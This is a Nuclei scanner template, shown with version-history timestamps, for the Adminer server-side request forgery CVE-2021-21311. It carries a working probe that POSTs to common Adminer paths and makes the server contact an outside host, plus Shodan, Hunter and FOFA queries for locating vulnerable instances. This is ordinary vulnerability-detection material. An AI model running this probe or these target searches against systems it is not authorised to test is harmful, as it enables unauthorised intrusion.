nuclei-templates/cves/2021/CVE-2021-21311.yaml

58 lines
1.8 KiB
YAML
Raw Normal View History

id: CVE-2021-21311
info:
name: Adminer <4.7.9 - Server-Side Request Forgery
2023-03-03 07:28:31 +00:00
author: Adam Crosser,pwnhxl
severity: high
description: Adminer from version 4.0.0 through 4.7.8 is susceptible to server-side request forgery due to its use of verbose error messages. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.
reference:
- https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
- https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
- https://packagist.org/packages/vrana/adminer
- https://nvd.nist.gov/vuln/detail/CVE-2021-21311
remediation: Upgrade to version 4.7.9 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cve-id: CVE-2021-21311
cwe-id: CWE-918
metadata:
shodan-query: title:"Login - Adminer"
2023-03-03 07:28:31 +00:00
hunter-query: app.name="Adminer"&&web.body="4.7.8"
fofa-query: app="Adminer" && body="4.7.8"
tags: cve,cve2021,adminer,ssrf
requests:
2023-03-03 07:28:31 +00:00
- raw:
- |
POST {{path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-03-03 07:53:41 +00:00
auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}
2023-03-03 07:28:31 +00:00
redirects: true
max-redirects: 1
cookie-reuse: true
attack: batteringram
payloads:
path:
- "/index.php"
- "/adminer.php"
- "/adminer/adminer.php"
- "/adminer/index.php"
- "/_adminer.php"
- "/_adminer/index.php"
2023-03-03 07:28:31 +00:00
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-06-28 15:33:21 +00:00
- "&lt;title&gt;400 - Bad Request&lt;/title&gt;"
2022-06-28 02:59:30 +00:00
- type: status
status:
- 403